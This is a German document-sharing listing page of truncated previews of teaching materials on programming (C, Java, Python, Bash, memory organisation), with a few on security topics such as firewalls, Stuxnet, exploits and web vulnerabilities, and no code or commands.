Netzwerksicherheit Musterlösung Übungsblatt 5: Firewalls

Netzwerksicherheit Musterlösung Übungsblatt 5: Firewalls Institut für Informatik Philipp Hagemeister Netzwerksicherheit Musterlösung Übungsblatt 5: Firewalls 1 Virus-Konstruktion Erstellen Sie nun ein Programm in einer Programmiersprache Ihrer Wahl, welches

Mehr

Heap vs. Stack vs. statisch. 6 Speicherorganisation. Beispiel Statische Variablen. Statische Variablen

Heap vs. Stack vs. statisch. 6 Speicherorganisation. Beispiel Statische Variablen. Statische Variablen Heap vs. vs. statisch Der Speicher des Programms ist in verschiedene Speicherbereiche untergliedert Speicherbereiche, die den eigentlichen Programmcode und den Code der Laufzeitbibliothek enthalten; einen

Mehr

Übungspaket 14 Eindimensionale Arrays

Übungspaket 14 Eindimensionale Arrays Übungspaket 14 Eindimensionale Arrays Übungsziele: Skript: Deklaration und Verwendung eindimensionaler Arrays Kapitel: 33 Semester: Wintersemester 2016/17 Betreuer: Kevin, Matthias, Thomas und Ralf Synopsis:

Mehr

Einführung in C. EDV1-04C-Einführung 1

Einführung in C. EDV1-04C-Einführung 1 Einführung in C 1 Helmut Erlenkötter C Programmieren von Anfang an Rowohlt Taschenbuch Verlag ISBN 3-4993 499-60074-9 19,90 DM http://www.erlenkoetter.de Walter Herglotz Das Einsteigerseminar C++ bhv Verlags

Mehr

Makros in Office-Paketen deaktivieren

Makros in Office-Paketen deaktivieren Makros in Office-Paketen deaktivieren 1 Vorwort 1 2 Microsoft Office 2003 3 3 Microsoft Office 2007 4 4 Microsoft Office 2010 6 5 Microsoft Office 2013 7 6 Microsoft Office 2016 9 7 LibreOffice 5.x 10

Mehr

Heap vs. Stack vs. statisch. 6 Speicherorganisation. Beispiel Statische Variablen. Statische Variablen

Heap vs. Stack vs. statisch. 6 Speicherorganisation. Beispiel Statische Variablen. Statische Variablen Heap vs. vs. statisch Der Speicher des Programms ist in verschiedene Speicherbereiche untergliedert Speicherbereiche, die den eigentlichen Programmcode und den Code der Laufzeitbibliothek enthalten; einen

Mehr

JAVA BASICS. 2. Primitive Datentypen. 1. Warum Java? a) Boolean (logische Werte wahr & falsch)

JAVA BASICS. 2. Primitive Datentypen. 1. Warum Java? a) Boolean (logische Werte wahr & falsch) JAVA BASICS 2. Primitive Datentypen 1. Warum Java? weit verbreitet einfach und (relativ) sicher keine Pointer (?) keine gotos kein Präprozessor keine globalen Variablen garbage collection objekt-orientiert

Mehr

Kurzeinführung in C99

Kurzeinführung in C99 Kurzeinführung in C99 Institut für Numerische Simulation Rheinische Friedrich-Wilhelms-Universität Bonn Oktober 2013 Überblick 1 Compiler und Editoren - Was wird benötigt um ein Programm zu erstellen 2

Mehr

Programmiersprachen Einführung in C. Unser erstes C-Programm. Unser erstes C-Programm. Unser erstes C-Programm. Unser erstes C-Programm

Programmiersprachen Einführung in C. Unser erstes C-Programm. Unser erstes C-Programm. Unser erstes C-Programm. Unser erstes C-Programm Programmiersprachen Einführung in C Teil 2: Prof. Dr. int main (int argc, char *argv[]) int sum = 0; for (i = 0; i

Mehr

Zeichenketten (1) Literale von Zeichenketten werden in doppelte Anführungszeichen gesetzt

Zeichenketten (1) Literale von Zeichenketten werden in doppelte Anführungszeichen gesetzt Zeichenketten (1) Literale Literale von Zeichenketten werden in doppelte Anführungszeichen gesetzt "Hallo Welt" Mehrere solcher Literale gelten als eine Zeichenkette, wenn sie nur durch Whitespaces (Leerzeichen,

Mehr

Introduction to Python. Introduction. First Steps in Python. pseudo random numbers. May 2016

Introduction to Python. Introduction. First Steps in Python. pseudo random numbers. May 2016 to to May 2016 to What is Programming? All computers are stupid. All computers are deterministic. You have to tell the computer what to do. You can tell the computer in any (programming) language) you

Mehr

6 Speicherorganisation

6 Speicherorganisation Der Speicher des Programms ist in verschiedene Speicherbereiche untergliedert Speicherbereiche, die den eigentlichen Programmcode und den Code der Laufzeitbibliothek enthalten; einen Speicherbereich für

Mehr

Bash-Skripting Linux-Kurs der Unix-AG

Bash-Skripting Linux-Kurs der Unix-AG Bash-Skripting Linux-Kurs der Unix-AG Sebastian Weber 07.01.2013 Was ist ein Bash-Skript? Skript muss mit chmod +x ausführbar gemacht sein Aneinanderreihung von Befehlen normale Befehle nutzbar Sebastian

Mehr

Beispiel 2a Die eigenen ersten Schritte mit dem Gnu-Debugger GDB für Remote-Debugging

Beispiel 2a Die eigenen ersten Schritte mit dem Gnu-Debugger GDB für Remote-Debugging Beispiel 2a Die eigenen ersten Schritte mit dem Gnu-Debugger GDB für Remote-Debugging Das Beispiel orientiert sich am selben Code, der im Teil 1 der Serie verwendet wurde. Text Styles: Shell Prompt mit

Mehr

Einleitung. Informationsquellen: - Webseite zur Vorlesung, Abschnitt Informationen zu C und C++ Kurzeinführung in C/C++

Einleitung. Informationsquellen: - Webseite zur Vorlesung, Abschnitt Informationen zu C und C++ Kurzeinführung in C/C++ Informationsquellen: - Webseite zur Vorlesung, Abschnitt Informationen zu C und C++ 1 Einleitung Vorteile von Java: gut strukturiert mit hohem Funktionsumfang (mächtige Standardbibliothek) weitestgehend

Mehr

Die elementare Ausgabe von Daten auf externe Medien, wie Dateien und das Einlesen davon wird demonstriert.

Die elementare Ausgabe von Daten auf externe Medien, wie Dateien und das Einlesen davon wird demonstriert. Ein- und Ausgabe Die elementare Ausgabe von Daten auf externe Medien, wie Dateien und das Einlesen davon wird demonstriert. Komplexe E/A-Operationen werden erst diskutiert, nachdem das Klassenkonzept erarbeitet

Mehr

Grundlagen der Informatik 6. Arrays I

Grundlagen der Informatik 6. Arrays I 6. Arrays I Motivation Array (konstante Länge) Speicherbereich Eingabe von Arrays Grundlagen der Informatik (Alex Rempel) 1 Motivation Beispiel: Bildschirmpixel zeichnen Auflösung 800x600, d.h. insgesamt

Mehr

Anhang A - Weitere Bibliotheken. Die Bibliothek Mail_02.lib ermöglicht das Versenden von Emails mit dem Ethernet-Controller 750-842.

Anhang A - Weitere Bibliotheken. Die Bibliothek Mail_02.lib ermöglicht das Versenden von Emails mit dem Ethernet-Controller 750-842. Anhang A - Weitere Bibliotheken WAGO-I/O-PRO 32 Bibliothek Mail_02.lib Die Bibliothek Mail_02.lib ermöglicht das Versenden von Emails mit dem Ethernet-Controller 750-842. Inhalt Mail_02.lib 3 MAIL_SmtpClient...

Mehr

Programmentwicklung ohne BlueJ

Programmentwicklung ohne BlueJ Objektorientierte Programmierung in - Eine praxisnahe Einführung mit Bluej Programmentwicklung BlueJ 1.0 Ein BlueJ-Projekt Ein BlueJ-Projekt ist der Inhalt eines Verzeichnisses. das Projektname heißt wie

Mehr

Entwicklungsumgebung für die Laborübung

Entwicklungsumgebung für die Laborübung Entwicklungsumgebung für die Laborübung VL Datenbanksysteme Ingo Feinerer Arbeitsbereich Datenbanken und Artificial Intelligence Institut für Informationssysteme Technische Universität Wien Gliederung

Mehr

Im Windows Betriebssystem sind Dateien eindeutig gekennzeichnet durch ihren Pfad, Dateinamen und nach einem Punkt die Dateierweiterung.

Im Windows Betriebssystem sind Dateien eindeutig gekennzeichnet durch ihren Pfad, Dateinamen und nach einem Punkt die Dateierweiterung. Dateioperationen Seite 1 von 12 Im Windows Betriebssystem sind Dateien eindeutig gekennzeichnet durch ihren Pfad, Dateinamen und nach einem Punkt die Dateierweiterung. z.b.: c:\testdateien\text.dat //Datendatei

Mehr

MALWARE AM BEISPIEL VON STUXNET

MALWARE AM BEISPIEL VON STUXNET MALWARE AM BEISPIEL VON STUXNET IAV10/12 24.05.2011 Jan Heimbrodt Inhalt 1. Definition Was ist Malware? 2. Kategorisierung von Malware Viren, Würmer, Trojaner, 3. Was macht Systeme unsicher? Angriffsziele,

Mehr

Embedded SQL in PostgreSQL

Embedded SQL in PostgreSQL 7. Dezember 2010 Michael Meskes Seit 1993 Freie Software Seit 1994 Linux Seit 1995 Debian GNU/Linux Seit 1998 PostgreSQL Michael Meskes 1992-1996 Promotion 1996-1998 Projektleiter 1998-2000 Niederlassungsleiter

Mehr

Exploits Wie kann das sein?

Exploits Wie kann das sein? Exploits Durch eine Schwachstelle im Programm xyz kann ein Angreifer Schadcode einschleusen. Manchmal reicht es schon irgendwo im Internet auf ein präpariertes Jpg-Bildchen zu klicken und schon holt man

Mehr

Programmieren in C. Die C-Standardbibliothek. Prof. Dr. Nikolaus Wulff

Programmieren in C. Die C-Standardbibliothek. Prof. Dr. Nikolaus Wulff Programmieren in C Die C-Standardbibliothek Prof. Dr. Nikolaus Wulff Die C-Standard Bibliothek Mit dem C Compiler werden viel fertige Bibliotheksfunktionen ausgeliefert. Eine genaue Kenntnis dieser Funktionen

Mehr

09.10.2015. 02.10.2015 + 07.10.2015 Seite 1. 02.10.2015 + 07.10.2015 Seite 2

09.10.2015. 02.10.2015 + 07.10.2015 Seite 1. 02.10.2015 + 07.10.2015 Seite 2 02.10.2015 + 07.10.2015 Seite 1 02.10.2015 + 07.10.2015 Seite 2 1 Anzahl der Klassenarbeiten: Mindestens zwei Klassenarbeiten pro Halbjahr (= 4 KA pro Jahr) Im ersten Ausbildungsjahr gibt es jedoch kein

Mehr

Embedded Toolchain. 1 C/C++-Grundlagen. strncpy_s, strcpy_s etc. V 4.02; Hon. Prof. Helmke 1

Embedded Toolchain. 1 C/C++-Grundlagen. strncpy_s, strcpy_s etc. V 4.02; Hon. Prof. Helmke 1 1 C/C++-Grundlagen strncpy_s, strcpy_s etc. V 4.02; Hon. Prof. Helmke 1 Anwendung von malloc/free: Dynamische Felder char name[20]; strcpy(name, Helmke ); char* pname;... pname = malloc(sizeof(char)*20);

Mehr

Web Applications Vulnerabilities

Web Applications Vulnerabilities Bull AG Wien Web Applications Vulnerabilities Philipp Schaumann Dipl. Physiker Bull AG, Wien www.bull.at/security Die Problematik Folie 2 Der Webserver ist das Tor zum Internet auch ein Firewall schützt

Mehr

Linux - a bit advanced

Linux - a bit advanced Linux - a bit advanced Überblick Rechteverwaltung Dateisystem Shell-Programmierung Remote login Paketsystem Alternativen-System Rechte Drei Benutzerklassen Owner/User Group Others Drei Rechte Ausführen

Mehr

Hausarbeit. Thema: Computersicherheit. Friedrich-Schiller-Universität Jena Informatik B.Sc. Wintersemester 2009 / 2010

Hausarbeit. Thema: Computersicherheit. Friedrich-Schiller-Universität Jena Informatik B.Sc. Wintersemester 2009 / 2010 1 Friedrich-Schiller-Universität Jena Informatik B.Sc. Wintersemester 2009 / 2010 Hausarbeit Thema: Computersicherheit Seminar: Datenschutz und Datenpannen Verfasser: Dmitrij Miller Abgabetermin: 5.3.2010

Mehr

TIn 1: Feedback Laboratories. Lecture 4 Data transfer. Question: What is the IP? Institut für Embedded Systems. Institut für Embedded Systems

TIn 1: Feedback Laboratories. Lecture 4 Data transfer. Question: What is the IP? Institut für Embedded Systems. Institut für Embedded Systems Mitglied der Zürcher Fachhochschule TIn 1: Lecture 4 Data transfer Feedback Laboratories Question: What is the IP? Why do we NEED an IP? Lecture 3: Lernziele Moving data, the why s and wherefores Moving

Mehr

VIVIT TQA Treffen in Köln am 18. 04. 2013. API- Programmierung und Nutzung bei HP Quality Center / ALM. Michael Oestereich IT Consultant QA

VIVIT TQA Treffen in Köln am 18. 04. 2013. API- Programmierung und Nutzung bei HP Quality Center / ALM. Michael Oestereich IT Consultant QA VIVIT TQA Treffen in Köln am 18. 04. 2013 API- Programmierung und Nutzung bei HP Quality Center / ALM Michael Oestereich IT Consultant QA Agenda Vorstellung der API- Versionen OTA- API SA- API REST- API

Mehr

Dynamische Webseiten mit PHP. Oder: LAMP - The open way

Dynamische Webseiten mit PHP. Oder: LAMP - The open way Dynamische Webseiten mit PHP Oder: LAMP - The open way Verbreitung Neben ASP verbreitetste Web-Scripting-Umgebung LAMP (Linux, Apache, mysql, PHP): freie Alternative zu M$ Überblick Dynamische Webseiten

Mehr

Betriebssysteme, Rechnernetze und verteilte Systeme 1. Crashkurs C (2)

Betriebssysteme, Rechnernetze und verteilte Systeme 1. Crashkurs C (2) Betriebssysteme, Rechnernetze und verteilte Systeme 1 Crashkurs C (2) Olaf Spinczyk Arbeitsgruppe Eingebettete Systemsoftware Lehrstuhl für Informatik 12 TU Dortmund olaf.spinczyk@tu-dortmund.de http://ess.cs.uni-dortmund.de/teaching/ss2008/bsrvs1/

Mehr

2 Eine einfache Programmiersprache

2 Eine einfache Programmiersprache 2 Eine einfache Programmiersprache Eine Programmiersprache soll Datenstrukturen anbieten Operationen auf Daten erlauben Kontrollstrukturen zur Ablaufsteuerung bereitstellen Als Beispiel betrachten wir

Mehr

BAUINFORMATIK. SS 2013 Vorlesung 1 Johannes Lange

BAUINFORMATIK. SS 2013 Vorlesung 1 Johannes Lange BAUINFORMATIK SS 2013 Vorlesung 1 Johannes Lange Vorstellung 2 Dr.-Ing. Johannes Lange Softwareentwicklung, Organisation Projekt-, Qualitätsmanagement CAD Gebäudebetrachtung Technische Ausrüstung (TGA)

Mehr

Python Programmierung. Dipl.-Ing.(FH) Volker Schepper

Python Programmierung. Dipl.-Ing.(FH) Volker Schepper Python Programmierung Kontaktdaten Homepage: http://wwwlehre.dhbw-stuttgart.de/~schepper/ Email: Volker. Schepper [A@T] yahoo.de Vorlesung Skriptsprachen Vorlesung: 06.03.2013 13.03.2013 20.03.2013 27.03.2013

Mehr

Grundlagen der OO- Programmierung in C#

Grundlagen der OO- Programmierung in C# Grundlagen der OO- Programmierung in C# Technische Grundlagen 1 Dr. Beatrice Amrhein Überblick Visual Studio: Editor und Debugging Die Datentypen Methoden in C# Die Speicherverwaltung 2 Visual Studio 3

Mehr

C++-Zusammenfassung. H. Schaudt. August 18, 2005

C++-Zusammenfassung. H. Schaudt. August 18, 2005 C++-Zusammenfassung H. Schaudt August 18, 2005 1 Datentypen 1.1 Grunddatentypen int (-32xxx bis +32xxx, implementerungs-abhängig) char -128 bis +128 float double bool (C++) int und char sind austauschbar:

Mehr

Dynamische Speicherverwaltung

Dynamische Speicherverwaltung Dynamische Speicherverwaltung 1/ 23 Dynamische Speicherverwaltung Tim Dobert 17.05.2013 Dynamische Speicherverwaltung 2/ 23 Gliederung 1 Allgemeines zur Speichernutzung 2 Ziele und Nutzen 3 Anwendung in

Mehr

Zeichendarstellung. Zeichen sind Zahlen (in C) Zeichen und switch

Zeichendarstellung. Zeichen sind Zahlen (in C) Zeichen und switch darstellung Arbeiten mit darstellung werden im Computer durch (kleine) Zahlen dargestellt in C können im Datentyp char gespeichert werden, dieser umfasst ein Byte und gilt als Ganzzahltyp darstellung Arbeiten

Mehr

II. Grundlagen der Programmierung. Beispiel: Merge Sort. Beispiel: Merge Sort (Forts. ) Beispiel: Merge Sort (Forts. )

II. Grundlagen der Programmierung. Beispiel: Merge Sort. Beispiel: Merge Sort (Forts. ) Beispiel: Merge Sort (Forts. ) Technische Informatik für Ingenieure (TIfI) WS 2006/2007, Vorlesung 9 II. Grundlagen der Programmierung Ekkart Kindler Funktionen und Prozeduren Rekursion Datenstrukturen Merge S ( split, s, merge ) Beispiel:

Mehr

Datenschutztag. Eine Präsentation von Mateusz Gwara, Philipp Leder, Paul Panser und Patrick Wilke

Datenschutztag. Eine Präsentation von Mateusz Gwara, Philipp Leder, Paul Panser und Patrick Wilke Datenschutztag Eine Präsentation von Mateusz Gwara, Philipp Leder, Paul Panser und Patrick Wilke 1. Website Security Gliederung 2. Viren, Trojaner & Antivirensoftware 3. Phishing & Gefahren des World Wide

Mehr